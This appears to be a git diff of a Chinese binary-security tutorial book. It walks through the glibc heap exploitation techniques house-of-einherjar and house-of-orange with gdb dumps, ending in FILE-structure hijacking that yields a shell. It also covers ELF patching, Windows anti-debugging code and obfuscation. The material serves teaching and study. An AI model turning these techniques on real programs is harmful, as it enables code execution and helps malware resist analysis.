||||
|
||||
house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 `PREV_IN_USE` 标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时,它会发现前一个 chunk 被标记为空闲状态,然后尝试合并堆块。只要我们精心构造一个 fake chunk,让合并后的堆块范围到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ,更加强大,但是要求的条件也更多一点,比如一个堆信息泄漏。
|
||||
|
||||
首先分配一个假设存在 off_by\_one 溢出的 chunk a,然后在栈上创建我们的 fake chunk,chunk 大小随意,只要是 small chunk 就可以了:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/8gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x4141414141414141 0x4141414141414141
|
||||
@ -546,17 +590,20 @@ gef➤ x/8gx &fake_chunk
|
||||
```
|
||||
|
||||
接下来创建 chunk b,并利用 chunk a 的溢出将 size 字段覆盖掉,清除了 `PREV_INUSE` 标志,chunk b 就会以为前一个 chunk 是一个 free chunk 了:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/8gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x4141414141414141 0x4141414141414141
|
||||
0x603020: 0x4141414141414141 0x0000000000000100 <-- chunk b
|
||||
0x603030: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
原本 chunk b 的 size 字段应该为 0x101,在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的,覆盖后只影响了标志位,没有影响到大小。
|
||||
|
||||
接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev\_size 字段相匹配:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/8gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x4141414141414141 0x4141414141414141
|
||||
@ -570,14 +617,17 @@ gef➤ x/8gx &fake_chunk
|
||||
```
|
||||
|
||||
释放 chunk b,这时因为 `PREV_INUSE` 为零,unlink 会根据 prev_size 去寻找上一个 free chunk,并将它和当前 chunk 合并。从 arena 里可以看到:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ heap arenas
|
||||
Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000)
|
||||
```
|
||||
|
||||
合并的过程在 poison-null-byte 那里也讲过了。
|
||||
|
||||
最后当我们再次 malloc,其返回的地址将是 fake chunk 的地址:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/8gx &fake_chunk
|
||||
0x7fffffffdcb0: 0x0000000000000080 0x0000000000000021 <-- chunk d
|
||||
0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141
|
||||
@ -585,7 +635,8 @@ gef➤ x/8gx &fake_chunk
|
||||
0x7fffffffdce0: 0x00007fffffffddd0 0xbdf40e22ccf46c00
|
||||
```
|
||||
|
||||
#### house_of_orange
|
||||
### house_of_orange
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -628,7 +679,8 @@ int winner(char *ptr) {
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -g house_of_orange.c
|
||||
$ ./a.out
|
||||
*** Error in `./a.out': malloc(): memory corruption: 0x00007f3daece3520 ***
|
||||
@ -669,23 +721,29 @@ firmy
|
||||
$ exit
|
||||
Aborted (core dumped)
|
||||
```
|
||||
|
||||
house-of-orange 是一种利用堆溢出修改 `_IO_list_all` 指针的利用方法。它要求能够泄漏堆和 libc。我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。
|
||||
|
||||
当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 `sysmalloc()` 分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 `mp_.mmap_threshold`:
|
||||
|
||||
```c
|
||||
if (av == NULL
|
||||
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
|
||||
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
|
||||
{
|
||||
```
|
||||
|
||||
同时,为了能够调用 `sysmalloc()` 中的 `_int_free()`,需要 top chunk 大于 `MINSIZE`,即 0x10:
|
||||
|
||||
```c
|
||||
if (old_size >= MINSIZE)
|
||||
{
|
||||
_int_free (av, old_top, 1);
|
||||
}
|
||||
```
|
||||
|
||||
当然,还得绕过下面两个限制条件:
|
||||
|
||||
```c
|
||||
/*
|
||||
If not the first time through, we require old_size to be
|
||||
@ -700,10 +758,12 @@ house-of-orange 是一种利用堆溢出修改 `_IO_list_all` 指针的利用方
|
||||
/* Precondition: not enough current space to satisfy nb request */
|
||||
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
|
||||
```
|
||||
|
||||
即满足 old_size 小于 `nb+MINSIZE`,`PREV_INUSE` 标志位为 1,`old_top+old_size` 页对齐这几个条件。
|
||||
|
||||
首先分配一个大小为 0x400 的 chunk:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/4gx p1-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000401 <-- chunk p1
|
||||
0x602010: 0x0000000000000000 0x0000000000000000
|
||||
@ -711,17 +771,20 @@ gef➤ x/4gx p1-0x10+0x400
|
||||
0x602400: 0x0000000000000000 0x0000000000020c01 <-- top chunk
|
||||
0x602410: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
默认情况下,top chunk 大小为 0x21000,减去 0x400,所以此时的大小为 0x20c00,另外 PREV_INUSE 被设置。
|
||||
|
||||
现在假设存在溢出漏洞,可以修改 top chunk 的数据,于是我们将 size 字段修改为 0xc01。这样就可以满足上面所说的条件:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/4gx p1-0x10+0x400
|
||||
0x602400: 0x0000000000000000 0x0000000000000c01 <-- top chunk
|
||||
0x602410: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
紧接着,申请一块大内存,此时由于修改后的 top chunk size 不能满足需求,则调用 sysmalloc 的第一种方法扩充 top chunk,结果是在 old\_top 后面新建了一个 top chunk 用来存放 new\_top,然后将 old\_top 释放,即被添加到了 unsorted bin 中:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/4gx p1-0x10+0x400
|
||||
0x602400: 0x0000000000000000 0x0000000000000be1 <-- old top chunk [be freed]
|
||||
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
@ -739,8 +802,10 @@ gef➤ heap bins unsorted
|
||||
[+] unsorted_bins[0]: fw=0x602400, bk=0x602400
|
||||
→ Chunk(addr=0x602410, size=0xbe0, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
于是就泄漏出了 libc 地址。另外可以看到 old top chunk 被缩小了 0x20,缩小的空间被用于放置 fencepost chunk。此时的堆空间应该是这样的:
|
||||
```
|
||||
|
||||
```text
|
||||
+---------------+
|
||||
| p1 |
|
||||
+---------------+
|
||||
@ -757,7 +822,9 @@ gef➤ heap bins unsorted
|
||||
| new top |
|
||||
+---------------+
|
||||
```
|
||||
|
||||
详细过程如下:
|
||||
|
||||
```c
|
||||
if (old_size != 0)
|
||||
{
|
||||
@ -790,17 +857,21 @@ gef➤ heap bins unsorted
|
||||
```
|
||||
|
||||
根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 `_IO_list_all` 的地址。然后通过溢出将 old top 的 bk 改写为 `_IO_list_all-0x10`,这样在进行 unsorted bin attack 时,就会将 `_IO_list_all` 修改为 `&unsorted_bin-0x10`:
|
||||
|
||||
```c
|
||||
/* remove from unsorted list */
|
||||
unsorted_chunks (av)->bk = bck;
|
||||
bck->fd = unsorted_chunks (av);
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/4gx p1-0x10+0x400
|
||||
0x602400: 0x0000000000000000 0x0000000000000be1
|
||||
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
|
||||
```
|
||||
|
||||
这里讲一下 glibc 中的异常处理。一般在出现内存错误时,会调用函数 `malloc_printerr()` 打印出错信息,我们顺着代码一直跟踪下去:
|
||||
|
||||
```c
|
||||
static void
|
||||
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
|
||||
@ -824,7 +895,9 @@ malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
|
||||
abort ();
|
||||
}
|
||||
```
|
||||
|
||||
调用 `__libc_message`:
|
||||
|
||||
```c
|
||||
// sysdeps/posix/libc_fatal.c
|
||||
/* Abort with an error message. */
|
||||
@ -841,7 +914,9 @@ __libc_message (int do_abort, const char *fmt, ...)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`do_abort` 调用 `fflush`,即 `_IO_flush_all_lockp`:
|
||||
|
||||
```c
|
||||
// stdlib/abort.c
|
||||
#define fflush(s) _IO_flush_all_lockp (0)
|
||||
@ -852,6 +927,7 @@ __libc_message (int do_abort, const char *fmt, ...)
|
||||
fflush (NULL);
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// libio/genops.c
|
||||
int
|
||||
@ -908,7 +984,9 @@ _IO_flush_all_lockp (int do_lock)
|
||||
return result;
|
||||
}
|
||||
```
|
||||
|
||||
`_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象,我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针,它的 `_IO_OVERFLOW` 指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 `_IO_OVERFLOW(fp, EOF)` 的调用最终会变成对 `system('/bin/sh')` 的调用。
|
||||
|
||||
```c
|
||||
// libio/libioP.h
|
||||
/* We always allocate an extra word following an _IO_FILE.
|
||||
@ -966,7 +1044,9 @@ struct _IO_FILE {
|
||||
#ifdef _IO_USE_OLD_IO_FILE
|
||||
};
|
||||
```
|
||||
|
||||
其中有一个指向函数跳转表的指针,`_IO_jump_t` 的结构如下:
|
||||
|
||||
```c
|
||||
// libio/libioP.h
|
||||
struct _IO_jump_t
|
||||
@ -999,11 +1079,13 @@ struct _IO_jump_t
|
||||
#endif
|
||||
};
|
||||
```
|
||||
|
||||
伪造 `_IO_jump_t` 中的 `__overflow` 为 system 函数的地址,从而达到执行 shell 的目的。
|
||||
|
||||
当发生内存错误进入 `_IO_flush_all_lockp` 后,`_IO_list_all` 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 `fp->_chain` 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 `_IO_list_all` 是 `&unsorted_bin-0x10`,偏移 0x60 位置上是 smallbins[5]。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[5] 中。而在 `_IO_FILE` 结构中,偏移 0x60 指向 `struct _IO_marker *_markers`,偏移 0x68 指向 `struct _IO_FILE *_chain`,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。
|
||||
|
||||
在将 `_IO_OVERFLOW` 修改为 system 的时候,有一些条件检查:
|
||||
|
||||
```c
|
||||
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|
||||
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|
||||
@ -1014,6 +1096,7 @@ struct _IO_jump_t
|
||||
)
|
||||
&& _IO_OVERFLOW (fp, EOF) == EOF) // 需要修改为 system 函数
|
||||
```
|
||||
|
||||
```c
|
||||
// libio/libio.h
|
||||
|
||||
@ -1045,10 +1128,12 @@ struct _IO_wide_data
|
||||
const struct _IO_jump_t *_wide_vtable;
|
||||
};
|
||||
```
|
||||
|
||||
所以这里我们设置 `fp->_mode = 0`,`fp->_IO_write_base = (char *) 2` 和 `fp->_IO_write_ptr = (char *) 3`,从而绕过检查。
|
||||
|
||||
然后,就是修改 `_IO_jump_t`,将其指向 winner:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/30gx p1-0x10+0x400
|
||||
0x602400: 0x0068732f6e69622f 0x0000000000000061 <-- old top
|
||||
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 <-- bk points to io_list_all-0x10
|
||||
@ -1103,6 +1188,7 @@ $1 = {
|
||||
```
|
||||
|
||||
最后随意分配一个 chunk,由于 `size<= 2*SIZE_SZ`,所以会触发 `_IO_flush_all_lockp` 中的 `_IO_OVERFLOW` 函数,获得 shell。
|
||||
|
||||
```c
|
||||
for (;; )
|
||||
{
|
||||
@ -1119,8 +1205,8 @@ $1 = {
|
||||
|
||||
到此,how2heap 里全部的堆利用方法就全部讲完了。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/)
|
||||
- [House of Orange](https://www.lazenca.net/display/TEC/House+of+Orange#HouseofOrange-Sourcecode)
|
||||
- [house_of_orange](http://blog.leanote.com/post/3191220142@qq.com/house_of_orange)
|
||||
|
@ -4,15 +4,14 @@
|
||||
- [house_of_roman](#house_of_roman)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/Others/3.1.6_heap_exploit)
|
||||
|
||||
#### house_of_rabbit
|
||||
|
||||
#### house_of_roman
|
||||
### house_of_rabbit
|
||||
|
||||
### house_of_roman
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [House of Rabbit - Heap exploitation technique bypassing ASLR](http://shift-crops.hatenablog.com/entry/2017/09/17/213235)
|
||||
- https://github.com/shift-crops/House_of_Rabbit
|
||||
- [House_of_Roman](https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc)
|
||||
|
@ -4,22 +4,24 @@
|
||||
- [手工 patch](#手工-patch)
|
||||
- [使用工具 patch](#使用工具-patch)
|
||||
|
||||
|
||||
## 什么是 patch
|
||||
|
||||
许多时候,我们不能获得程序源码,只能直接对二进制文件进行修改,这就是所谓的 patch,你可以使用十六进制编辑器直接修改文件的字节,也可以利用一些半自动化的工具。
|
||||
|
||||
patch 有很多种形式:
|
||||
|
||||
- patch 二进制文件(程序或库)
|
||||
- 在内存里 patch(利用调试器)
|
||||
- 预加载库替换原库文件中的函数
|
||||
- triggers(hook 然后在运行时 patch)
|
||||
|
||||
|
||||
## 手工 patch
|
||||
|
||||
手工 patch 自然会比较麻烦,但能让我们更好地理解一个二进制文件的构成,以及程序的链接和加载。有许多工具可以做到这一点,比如 xxd、dd、gdb、radare2 等等。
|
||||
|
||||
#### xxd
|
||||
```
|
||||
### xxd
|
||||
|
||||
```text
|
||||
$ echo 01: 01 02 03 04 05 06 07 08 | xxd -r - output
|
||||
$ xxd -g1 output
|
||||
00000000: 00 01 02 03 04 05 06 07 08 .........
|
||||
@ -27,10 +29,13 @@ $ echo 04: 41 42 43 44 | xxd -r - output
|
||||
$ xxd -g1 output
|
||||
00000000: 00 01 02 03 41 42 43 44 08 ....ABCD.
|
||||
```
|
||||
|
||||
参数 `-r` 用于将 hexdump 转换成 binary。这里我们先创建一个 binary,然后将将其中几个字节改掉。
|
||||
|
||||
#### radare2
|
||||
### radare2
|
||||
|
||||
一个简单的例子:
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
@ -38,13 +43,16 @@ void main() {
|
||||
puts("world");
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -no-pie patch.c
|
||||
$ ./a.out
|
||||
helloworld
|
||||
```
|
||||
|
||||
下面通过计算函数偏移,我们将 `printf` 换成 `puts`:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x004004e0]> pdf @ main
|
||||
;-- main:
|
||||
/ (fcn) sym.main 36
|
||||
@ -61,43 +69,53 @@ helloworld
|
||||
| 0x004005ec 5d pop rbp
|
||||
\ 0x004005ed c3 ret
|
||||
```
|
||||
|
||||
地址 `0x004005da` 处的语句是 `call sym.imp.printf`,其中机器码 `e8` 代表 `call`,所以 `sym.imp.printf` 的偏移是 `0xfffffef1`。地址 `0x004005e6` 处的语句是 `call sym.imp.puts`,`sym.imp.puts` 的偏移是 `0xfffffed5`。
|
||||
|
||||
接下来找到两个函数的 plt 地址:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x004004e0]> is~printf
|
||||
vaddr=0x004004d0 paddr=0x000004d0 ord=003 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.printf
|
||||
[0x004004e0]> is~puts
|
||||
vaddr=0x004004c0 paddr=0x000004c0 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.puts
|
||||
```
|
||||
|
||||
计算相对位置:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x004004e0]> ?v 0x004004d0-0x004004c0
|
||||
0x10
|
||||
```
|
||||
|
||||
所以要想将 `printf` 替换为 `puts`,只要替换成 `0xfffffef1 -0x10 = 0xfffffee1` 就可以了。
|
||||
```
|
||||
|
||||
```text
|
||||
[0x004004e0]> s 0x004005da
|
||||
[0x004005da]> wx e8e1feffff
|
||||
[0x004005da]> pd 1
|
||||
| 0x004005da e8e1feffff call sym.imp.puts ; sym.imp.printf-0x10 ; int printf(const char *format)
|
||||
```
|
||||
|
||||
搞定。
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./a.out
|
||||
hello
|
||||
world
|
||||
```
|
||||
|
||||
当然还可以将这一过程更加简化,直接输入汇编,其他的事情 r2 会帮你搞定:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x004005da]> wa call 0x004004c0
|
||||
Written 5 bytes (call 0x004004c0) = wx e8e1feffff
|
||||
[0x004005da]> wa call sym.imp.puts
|
||||
Written 5 bytes (call sym.imp.puts) = wx e8e1feffff
|
||||
```
|
||||
|
||||
|
||||
## 使用工具 patch
|
||||
#### patchkit
|
||||
|
||||
### patchkit
|
||||
|
||||
[patchkit](https://github.com/lunixbochs/patchkit) 可以让我们通过 Python 脚本来 patch ELF 二进制文件。
|
||||
|
@ -4,22 +4,26 @@
|
||||
- [反调试技术](#反调试技术)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 什么是反调试
|
||||
|
||||
反调试是一种重要的软件保护技术,特别是在各种游戏保护中被尤其重视。另外,恶意代码往往也会利用反调试来对抗安全分析。当程序意识到自己可能处于调试中的时候,可能会改变正常的执行路径或者修改自身程序让自己崩溃,从而增加调试时间和复杂度。
|
||||
|
||||
|
||||
## 反调试技术
|
||||
|
||||
下面先介绍几种 Windows 下的反调试方法。
|
||||
|
||||
#### 函数检测
|
||||
### 函数检测
|
||||
|
||||
函数检测就是通过 Windows 自带的公开或未公开的函数直接检测程序是否处于调试状态。最简单的调试器检测函数是 `IsDebuggerPresent()`:
|
||||
|
||||
```c++
|
||||
BOOL WINAPI IsDebuggerPresent(void);
|
||||
```
|
||||
|
||||
该函数查询进程环境块(PEB)中的 `BeingDebugged` 标志,如果进程处在调试上下文中,则返回一个非零值,否则返回零。
|
||||
|
||||
示例:
|
||||
|
||||
```c++
|
||||
BOOL CheckDebug()
|
||||
{
|
||||
@ -28,12 +32,14 @@ BOOL CheckDebug()
|
||||
```
|
||||
|
||||
`CheckRemoteDebuggerPresent()` 用于检测一个远程进程是否处于调试状态:
|
||||
|
||||
```c++
|
||||
BOOL WINAPI CheckRemoteDebuggerPresent(
|
||||
_In_ HANDLE hProcess,
|
||||
_Inout_ PBOOL pbDebuggerPresent
|
||||
);
|
||||
```
|
||||
|
||||
如果 `hProcess` 句柄表示的进程处于调试上下文,则设置 `pbDebuggerPresent` 变量被设置为 `TRUE`,否则被设置为 `FALSE`。
|
||||
|
||||
```c++
|
||||
@ -46,6 +52,7 @@ BOOL CheckDebug()
|
||||
```
|
||||
|
||||
`NtQueryInformationProcess` 用于获取给定进程的信息:
|
||||
|
||||
```c++
|
||||
NTSTATUS WINAPI NtQueryInformationProcess(
|
||||
_In_ HANDLE ProcessHandle,
|
||||
@ -55,9 +62,11 @@ NTSTATUS WINAPI NtQueryInformationProcess(
|
||||
_Out_opt_ PULONG ReturnLength
|
||||
);
|
||||
```
|
||||
|
||||
第二个参数 `ProcessInformationClass` 给定了需要查询的进程信息类型。当给定值为 `0`(`ProcessBasicInformation`)或 `7`(`ProcessDebugPort`)时,就能得到相关调试信息,返回信息会写到第三个参数 `ProcessInformation` 指向的缓冲区中。
|
||||
|
||||
示例:
|
||||
|
||||
```c++
|
||||
BOOL CheckDebug()
|
||||
{
|
||||
@ -69,10 +78,12 @@ BOOL CheckDebug()
|
||||
}
|
||||
```
|
||||
|
||||
#### 数据检测
|
||||
### 数据检测
|
||||
|
||||
数据检测是指程序通过测试一些与调试相关的关键位置的数据来判断是否处于调试状态。比如上面所说的 PEB 中的 `BeingDebugged` 参数。数据检测就是直接定位到这些数据地址并测试其中的数据,从而避免调用函数,使程序的行为更加隐蔽。
|
||||
|
||||
示例:
|
||||
|
||||
```c++
|
||||
BOOL CheckDebug()
|
||||
{
|
||||
@ -91,25 +102,28 @@ BOOL CheckDebug()
|
||||
由于调试器中启动的进程与正常启动的进程创建堆的方式有些不同,系统使用 PEB 结构偏移量 0x68 处的一个未公开的位置,来决定如果创建堆结构。如果这个位置上的值为 `0x70`,则进程处于调试器中。
|
||||
|
||||
示例:
|
||||
|
||||
```c++
|
||||
BOOL CheckDebug()
|
||||
{
|
||||
int BeingDbg = 0;
|
||||
__asm
|
||||
{
|
||||
mov eax, dword ptr fs:[30h]
|
||||
mov eax, dword ptr [eax + 68h]
|
||||
and eax, 0x70
|
||||
mov BeingDbg, eax
|
||||
}
|
||||
return BeingDbg != 0;
|
||||
int BeingDbg = 0;
|
||||
__asm
|
||||
{
|
||||
mov eax, dword ptr fs:[30h]
|
||||
mov eax, dword ptr [eax + 68h]
|
||||
and eax, 0x70
|
||||
mov BeingDbg, eax
|
||||
}
|
||||
return BeingDbg != 0;
|
||||
}
|
||||
```
|
||||
|
||||
#### 符号检测
|
||||
### 符号检测
|
||||
|
||||
符号检测主要针对一些使用了驱动的调试器或监视器,这类调试器在启动后会创建相应的驱动链接符号,以用于应用层与其驱动的通信。但由于这些符号一般都比较固定,所以就可以通过这些符号来确定是否存在相应的调试软件。
|
||||
|
||||
示例:
|
||||
|
||||
```c++
|
||||
BOOL CheckDebug()
|
||||
{
|
||||
@ -121,10 +135,12 @@ BOOL CheckDebug()
|
||||
}
|
||||
```
|
||||
|
||||
#### 窗口检测
|
||||
### 窗口检测
|
||||
|
||||
窗口检测通过检测当前桌面中是否存在特定的调试窗口来判断是否存在调试器,但不能判断该调试器是否正在调试该程序。
|
||||
|
||||
示例:
|
||||
|
||||
```c++
|
||||
BOOL CheckDebug()
|
||||
{
|
||||
@ -136,11 +152,13 @@ BOOL CheckDebug()
|
||||
}
|
||||
```
|
||||
|
||||
#### 特征码检测
|
||||
### 特征码检测
|
||||
|
||||
特征码检测枚举当前正在运行的进程,并在进程的内存空间中搜索特定调试器的代码片段。
|
||||
|
||||
例如 OllyDbg 有这样一段特征码:
|
||||
```
|
||||
|
||||
```text
|
||||
0x41, 0x00, 0x62, 0x00, 0x6f, 0x00, 0x75, 0x00, 0x74, 0x00,
|
||||
0x20, 0x00, 0x4f, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x79, 0x00,
|
||||
0x44, 0x00, 0x62, 0x00, 0x67, 0x00, 0x00, 0x00, 0x4f, 0x00,
|
||||
@ -148,6 +166,7 @@ BOOL CheckDebug()
|
||||
```
|
||||
|
||||
示例:
|
||||
|
||||
```c++
|
||||
BOOL CheckDebug()
|
||||
{
|
||||
@ -182,10 +201,12 @@ BOOL CheckDebug()
|
||||
}while(Process32Next(phsnap, &sentry32));
|
||||
```
|
||||
|
||||
#### 行为检测
|
||||
### 行为检测
|
||||
|
||||
行为检测是指在程序中通过代码感知程序处于调试时与未处于调试时的各种差异来判断程序是否处于调试状态。例如我们在调试时步过两条指令所花费的时间远远超过 CPU 正常执行花费的时间,于是就可以通过 `rdtsc` 指令来进行测试。(该指令用于将时间标签计数器读入 `EDX:EAX` 寄存器)
|
||||
|
||||
示例:
|
||||
|
||||
```c++
|
||||
BOOL CheckDebug()
|
||||
{
|
||||
@ -206,50 +227,54 @@ BOOL CheckDebug()
|
||||
}
|
||||
```
|
||||
|
||||
#### 断点检测
|
||||
### 断点检测
|
||||
|
||||
断点检测是根据调试器设置断点的原理来检测软件代码中是否设置了断点。调试器一般使用两者方法设置代码断点:
|
||||
|
||||
- 通过修改代码指令为 INT3(机器码为0xCC)触发软件异常
|
||||
- 通过硬件调试寄存器设置硬件断点
|
||||
|
||||
针对软件断点,检测系统会扫描比较重要的代码区域,看是否存在多余的 INT3 指令。
|
||||
|
||||
示例:
|
||||
|
||||
```c++
|
||||
BOOL CheckDebug()
|
||||
{
|
||||
PIMAGE_DOS_HEADER pDosHeader;
|
||||
PIMAGE_NT_HEADERS32 pNtHeaders;
|
||||
PIMAGE_SECTION_HEADER pSectionHeader;
|
||||
DWORD dwBaseImage = (DWORD)GetModuleHandle(NULL);
|
||||
pDosHeader = (PIMAGE_DOS_HEADER)dwBaseImage;
|
||||
pNtHeaders = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader + pDosHeader->e_lfanew);
|
||||
pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(pNtHeaders->Signature) + sizeof(IMAGE_FILE_HEADER) +
|
||||
(WORD)pNtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
DWORD dwAddr = pSectionHeader->VirtualAddress + dwBaseImage;
|
||||
DWORD dwCodeSize = pSectionHeader->SizeOfRawData;
|
||||
BOOL Found = FALSE;
|
||||
__asm
|
||||
{
|
||||
cld
|
||||
mov edi,dwAddr
|
||||
mov ecx,dwCodeSize
|
||||
mov al,0CCH
|
||||
repne scasb ; 在EDI指向大小为ECX的缓冲区中搜索AL包含的字节
|
||||
jnz NotFound
|
||||
mov Found,1
|
||||
PIMAGE_DOS_HEADER pDosHeader;
|
||||
PIMAGE_NT_HEADERS32 pNtHeaders;
|
||||
PIMAGE_SECTION_HEADER pSectionHeader;
|
||||
DWORD dwBaseImage = (DWORD)GetModuleHandle(NULL);
|
||||
pDosHeader = (PIMAGE_DOS_HEADER)dwBaseImage;
|
||||
pNtHeaders = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader + pDosHeader->e_lfanew);
|
||||
pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(pNtHeaders->Signature) + sizeof(IMAGE_FILE_HEADER) +
|
||||
(WORD)pNtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
DWORD dwAddr = pSectionHeader->VirtualAddress + dwBaseImage;
|
||||
DWORD dwCodeSize = pSectionHeader->SizeOfRawData;
|
||||
BOOL Found = FALSE;
|
||||
__asm
|
||||
{
|
||||
cld
|
||||
mov edi,dwAddr
|
||||
mov ecx,dwCodeSize
|
||||
mov al,0CCH
|
||||
repne scasb ; 在EDI指向大小为ECX的缓冲区中搜索AL包含的字节
|
||||
jnz NotFound
|
||||
mov Found,1
|
||||
NotFound:
|
||||
}
|
||||
return Found;
|
||||
}
|
||||
return Found;
|
||||
}
|
||||
```
|
||||
|
||||
而对于硬件断点,由于程序工作在保护模式下,无法访问硬件调试断点,所以一般需要构建异常程序来获取 DR 寄存器的值。
|
||||
|
||||
示例:
|
||||
|
||||
```c++
|
||||
BOOL CheckDebug()
|
||||
{
|
||||
CONTEXT context;
|
||||
CONTEXT context;
|
||||
HANDLE hThread = GetCurrentThread();
|
||||
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
GetThreadContext(hThread, &context);
|
||||
@ -261,9 +286,10 @@ BOOL CheckDebug()
|
||||
}
|
||||
```
|
||||
|
||||
#### 行为占用
|
||||
### 行为占用
|
||||
|
||||
行为占用是指在需要保护的程序中,程序自身将一些只能同时有 1 个实例的功能占为己用。比如一般情况下,一个进程只能同时被 1 个调试器调试,那么就可以设计一种模式,将程序以调试方式启动,然后利用系统的调试机制防止被其他调试器调试。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [详解反调试技术](https://blog.csdn.net/qq_32400847/article/details/52798050)
|
||||
|
@ -4,101 +4,127 @@
|
||||
- [常见的混淆方法](#常见的混淆方法)
|
||||
- [代码虚拟化](#代码虚拟化)
|
||||
|
||||
|
||||
## 为什么需要指令混淆
|
||||
|
||||
软件的安全性严重依赖于代码复杂化后被分析者理解的难度,通过指令混淆,可以将原始的代码指令转换为等价但极其复杂的指令,从而尽可能地提高分析和破解的成本。
|
||||
|
||||
|
||||
## 常见的混淆方法
|
||||
#### 代码变形
|
||||
|
||||
### 代码变形
|
||||
|
||||
代码变形是指将单条或多条指令转变为等价的单条或多条其他指令。其中对单条指令的变形叫做局部变形,对多条指令结合起来考虑的变成叫做全局变形。
|
||||
|
||||
例如下面这样的一条赋值指令:
|
||||
```
|
||||
|
||||
```text
|
||||
mov eax, 12345678h
|
||||
```
|
||||
|
||||
可以使用下面的组合指令来替代:
|
||||
```
|
||||
|
||||
```text
|
||||
push 12345678h
|
||||
pop eax
|
||||
```
|
||||
|
||||
更进一步:
|
||||
```
|
||||
|
||||
```text
|
||||
pushfd
|
||||
mov eax, 1234
|
||||
